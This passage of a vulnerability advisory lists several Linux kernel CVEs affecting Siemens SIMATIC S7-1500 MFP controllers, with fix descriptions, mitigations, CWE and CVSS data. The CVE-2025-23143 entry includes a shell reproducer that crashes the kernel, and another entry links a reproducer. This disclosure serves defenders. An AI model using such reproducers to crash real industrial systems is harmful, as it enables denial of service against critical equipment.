<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22090</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/mm/pat: Fix VM_PAT handling when fork() fails in copy_page_range() If track_pfn_copy() fails, we already added the dst VMA to the maple tree. As fork() fails, we'll cleanup the maple tree, and stumble over the dst VMA for which we neither performed any reservation nor copied any page tables. Consequently untrack_pfn() will see VM_PAT and try obtaining the PAT information from the page table -- which fails because the page table was not copied. The easiest fix would be to simply clear the VM_PAT flag of the dst VMA if track_pfn_copy() fails. However, the whole thing is about "simply" clearing the VM_PAT flag is shaky as well: if we passed track_pfn_copy() and performed a reservation, but copying the page tables fails, we'll simply clear the VM_PAT flag, not properly undoing the reservation ... which is also wrong. So let's fix it properly: set the VM_PAT flag only if the reservation succeeded (leaving it clear initially), and undo the reservation if anything goes wrong while copying the page tables: clearing the VM_PAT flag after undoing the reservation. Note that any copied page table entries will get zapped when the VMA will get removed later, after copy_page_range() succeeded; as VM_PAT is not set then, we won't try cleaning VM_PAT up once more and untrack_pfn() will be happy. Note that leaving these page tables in place without a reservation is not a problem, as we are aborting fork(); this process will never run. A reproducer can trigger this usually at the first try: https://gitlab.com/davidhildenbrand/scratchspace/-/raw/main/reproducers/pat_fork.c WARNING: CPU: 26 PID: 11650 at arch/x86/mm/pat/memtype.c:983 get_pat_info+0xf6/0x110 Modules linked in: ... CPU: 26 UID: 0 PID: 11650 Comm: repro3 Not tainted 6.12.0-rc5+ #92 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-2.fc40 04/01/2014 RIP: 0010:get_pat_info+0xf6/0x110 ... Call Trace: ... untrack_pfn+0x52/0x110 unmap_single_vma+0xa6/0xe0 unmap_vmas+0x105/0x1f0 exit_mmap+0xf6/0x460 __mmput+0x4b/0x120 copy_process+0x1bf6/0x2aa0 kernel_clone+0xab/0x440 __do_sys_clone+0x66/0x90 do_syscall_64+0x95/0x180 Likely this case was missed in: d155df53f310 ("x86/mm/pat: clear VM_PAT if copy_p4d_range failed") ... and instead of undoing the reservation we simply cleared the VM_PAT flag. Keep the documentation of these functions in include/linux/pgtable.h, one place is more than sufficient -- we should clean that up for the other functions like track_pfn_remap/untrack_pfn separately.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22090">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/459.html">CWE-459 Incomplete Cleanup</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22095</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: PCI: brcmstb: Fix error path after a call to regulator_bulk_get() If the regulator_bulk_get() returns an error and no regulators are created, we need to set their number to zero. If we don't do this and the PCIe link up fails, a call to the regulator_bulk_free() will result in a kernel panic. While at it, print the error value, as we cannot return an error upwards as the kernel will WARN() on an error from add_bus(). [kwilczynski: commit log, use comma in the message to match style with other similar messages]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22095">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22107</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: dsa: sja1105: fix kasan out-of-bounds warning in sja1105_table_delete_entry() There are actually 2 problems: - deleting the last element doesn't require the memmove of elements [i + 1, end) over it. Actually, element i+1 is out of bounds. - The memmove itself should move size - i - 1 elements, because the last element is out of bounds. The out-of-bounds element still remains out of bounds after being accessed, so the problem is only that we touch it, not that it becomes in active use. But I suppose it can lead to issues if the out-of-bounds element is part of an unmapped page.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22107">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22111</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: Remove RTNL dance for SIOCBRADDIF and SIOCBRDELIF. SIOCBRDELIF is passed to dev_ioctl() first and later forwarded to br_ioctl_call(), which causes unnecessary RTNL dance and the splat below [0] under RTNL pressure. Let's say Thread A is trying to detach a device from a bridge and Thread B is trying to remove the bridge. In dev_ioctl(), Thread A bumps the bridge device's refcnt by netdev_hold() and releases RTNL because the following br_ioctl_call() also re-acquires RTNL. In the race window, Thread B could acquire RTNL and try to remove the bridge device. Then, rtnl_unlock() by Thread B will release RTNL and wait for netdev_put() by Thread A. Thread A, however, must hold RTNL after the unlock in dev_ifsioc(), which may take long under RTNL pressure, resulting in the splat by Thread B. Thread A (SIOCBRDELIF) Thread B (SIOCBRDELBR) ---------------------- ---------------------- sock_ioctl sock_ioctl `- sock_do_ioctl `- br_ioctl_call `- dev_ioctl `- br_ioctl_stub |- rtnl_lock | |- dev_ifsioc ' ' |- dev = __dev_get_by_name(...) |- netdev_hold(dev, ...) . / |- rtnl_unlock ------. | | |- br_ioctl_call `---&gt; |- rtnl_lock Race | | `- br_ioctl_stub |- br_del_bridge Window | | | |- dev = __dev_get_by_name(...) | | | May take long | `- br_dev_delete(dev, ...) | | | under RTNL pressure | `- unregister_netdevice_queue(dev, ...) | | | | `- rtnl_unlock \ | |- rtnl_lock &lt;-' `- netdev_run_todo | |- ... `- netdev_run_todo | `- rtnl_unlock |- __rtnl_unlock | |- netdev_wait_allrefs_any |- netdev_put(dev, ...) &lt;----------------' Wait refcnt decrement and log splat below To avoid blocking SIOCBRDELBR unnecessarily, let's not call dev_ioctl() for SIOCBRADDIF and SIOCBRDELIF. In the dev_ioctl() path, we do the following: 1. Copy struct ifreq by get_user_ifreq in sock_do_ioctl() 2. Check CAP_NET_ADMIN in dev_ioctl() 3. Call dev_load() in dev_ioctl() 4. Fetch the master dev from ifr.ifr_name in dev_ifsioc() 3. can be done by request_module() in br_ioctl_call(), so we move 1., 2., and 4. to br_ioctl_stub(). Note that 2. is also checked later in add_del_if(), but it's better performed before RTNL. SIOCBRADDIF and SIOCBRDELIF have been processed in dev_ioctl() since the pre-git era, and there seems to be no specific reason to process them there. [0]: unregister_netdevice: waiting for wpan3 to become free. Usage count = 2 ref_tracker: wpan3@ffff8880662d8608 has 1/1 users at __netdev_tracker_alloc include/linux/netdevice.h:4282 [inline] netdev_hold include/linux/netdevice.h:4311 [inline] dev_ifsioc+0xc6a/0x1160 net/core/dev_ioctl.c:624 dev_ioctl+0x255/0x10c0 net/core/dev_ioctl.c:826 sock_do_ioctl+0x1ca/0x260 net/socket.c:1213 sock_ioctl+0x23a/0x6c0 net/socket.c:1318 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:906 [inline] __se_sys_ioctl fs/ioctl.c:892 [inline] __x64_sys_ioctl+0x1a4/0x210 fs/ioctl.c:892 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcb/0x250 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22111">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-22121</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: fix out-of-bound read in ext4_xattr_inode_dec_ref_all() There's issue as follows: BUG: KASAN: use-after-free in ext4_xattr_inode_dec_ref_all+0x6ff/0x790 Read of size 4 at addr ffff88807b003000 by task syz-executor.0/15172 CPU: 3 PID: 15172 Comm: syz-executor.0 Call Trace: __dump_stack lib/dump_stack.c:82 [inline] dump_stack+0xbe/0xfd lib/dump_stack.c:123 print_address_description.constprop.0+0x1e/0x280 mm/kasan/report.c:400 __kasan_report.cold+0x6c/0x84 mm/kasan/report.c:560 kasan_report+0x3a/0x50 mm/kasan/report.c:585 ext4_xattr_inode_dec_ref_all+0x6ff/0x790 fs/ext4/xattr.c:1137 ext4_xattr_delete_inode+0x4c7/0xda0 fs/ext4/xattr.c:2896 ext4_evict_inode+0xb3b/0x1670 fs/ext4/inode.c:323 evict+0x39f/0x880 fs/inode.c:622 iput_final fs/inode.c:1746 [inline] iput fs/inode.c:1772 [inline] iput+0x525/0x6c0 fs/inode.c:1758 ext4_orphan_cleanup fs/ext4/super.c:3298 [inline] ext4_fill_super+0x8c57/0xba40 fs/ext4/super.c:5300 mount_bdev+0x355/0x410 fs/super.c:1446 legacy_get_tree+0xfe/0x220 fs/fs_context.c:611 vfs_get_tree+0x8d/0x2f0 fs/super.c:1576 do_new_mount fs/namespace.c:2983 [inline] path_mount+0x119a/0x1ad0 fs/namespace.c:3316 do_mount+0xfc/0x110 fs/namespace.c:3329 __do_sys_mount fs/namespace.c:3540 [inline] __se_sys_mount+0x219/0x2e0 fs/namespace.c:3514 do_syscall_64+0x33/0x40 arch/x86/entry/common.c:46 entry_SYSCALL_64_after_hwframe+0x67/0xd1 Memory state around the buggy address: ffff88807b002f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff88807b002f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &gt;ffff88807b003000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ^ ffff88807b003080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ffff88807b003100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Above issue happens as ext4_xattr_delete_inode() isn't check xattr is valid if xattr is in inode. To solve above issue call xattr_check_inode() check if xattr if valid in inode. In fact, we can directly verify in ext4_iget_extra_inode(), so that there is no divergent verification.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-22121">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-23136</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: thermal: int340x: Add NULL check for adev Not all devices have an ACPI companion fwnode, so adev might be NULL. This is similar to the commit cd2fd6eab480 ("platform/x86: int3472: Check for adev == NULL"). Add a check for adev not being set and return -ENODEV in that case to avoid a possible NULL pointer deref in int3402_thermal_probe(). Note, under the same directory, int3400_thermal_probe() has such a check. [ rjw: Subject edit, added Fixes: ]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-23136">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-23143</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: Fix null-ptr-deref by sock_lock_init_class_and_name() and rmmod. When I ran the repro [0] and waited a few seconds, I observed two LOCKDEP splats: a warning immediately followed by a null-ptr-deref. [1] Reproduction Steps: 1) Mount CIFS 2) Add an iptables rule to drop incoming FIN packets for CIFS 3) Unmount CIFS 4) Unload the CIFS module 5) Remove the iptables rule At step 3), the CIFS module calls sock_release() for the underlying TCP socket, and it returns quickly. However, the socket remains in FIN_WAIT_1 because incoming FIN packets are dropped. At this point, the module's refcnt is 0 while the socket is still alive, so the following rmmod command succeeds. # ss -tan State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 477 10.0.2.15:51062 10.0.0.137:445 # lsmod | grep cifs cifs 1159168 0 This highlights a discrepancy between the lifetime of the CIFS module and the underlying TCP socket. Even after CIFS calls sock_release() and it returns, the TCP socket does not die immediately in order to close the connection gracefully. While this is generally fine, it causes an issue with LOCKDEP because CIFS assigns a different lock class to the TCP socket's sk-&gt;sk_lock using sock_lock_init_class_and_name(). Once an incoming packet is processed for the socket or a timer fires, sk-&gt;sk_lock is acquired. Then, LOCKDEP checks the lock context in check_wait_context(), where hlock_class() is called to retrieve the lock class. However, since the module has already been unloaded, hlock_class() logs a warning and returns NULL, triggering the null-ptr-deref. If LOCKDEP is enabled, we must ensure that a module calling sock_lock_init_class_and_name() (CIFS, NFS, etc) cannot be unloaded while such a socket is still alive to prevent this issue. Let's hold the module reference in sock_lock_init_class_and_name() and release it when the socket is freed in sk_prot_free(). Note that sock_lock_init() clears sk-&gt;sk_owner for svc_create_socket() that calls sock_lock_init_class_and_name() for a listening socket, which clones a socket by sk_clone_lock() without GFP_ZERO. [0]: CIFS_SERVER="10.0.0.137" CIFS_PATH="//${CIFS_SERVER}/Users/Administrator/Desktop/CIFS_TEST" DEV="enp0s3" CRED="/root/WindowsCredential.txt" MNT=$(mktemp -d /tmp/XXXXXX) mount -t cifs ${CIFS_PATH} ${MNT} -o vers=3.0,credentials=${CRED},cache=none,echo_interval=1 iptables -A INPUT -s ${CIFS_SERVER} -j DROP for i in $(seq 10); do umount ${MNT} rmmod cifs sleep 1 done rm -r ${MNT} iptables -D INPUT -s ${CIFS_SERVER} -j DROP [1]: DEBUG_LOCKS_WARN_ON(1) WARNING: CPU: 10 PID: 0 at kernel/locking/lockdep.c:234 hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) Modules linked in: cifs_arc4 nls_ucs2_utils cifs_md4 [last unloaded: cifs] CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Not tainted 6.14.0 #36 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) ... Call Trace: __lock_acquire (kernel/locking/lockdep.c:4853 kernel/locking/lockdep.c:5178) lock_acquire (kernel/locking/lockdep.c:469 kernel/locking/lockdep.c:5853 kernel/locking/lockdep.c:5816) _raw_spin_lock_nested (kernel/locking/spinlock.c:379) tcp_v4_rcv (./include/linux/skbuff.h:1678 ./include/net/tcp.h:2547 net/ipv4/tcp_ipv4.c:2350) ... BUG: kernel NULL pointer dereference, address: 00000000000000c4 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 0 Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Tainted: G W 6.14.0 #36 Tainted: [W]=WARN Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:__lock_acquire (kernel/ ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-23143">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
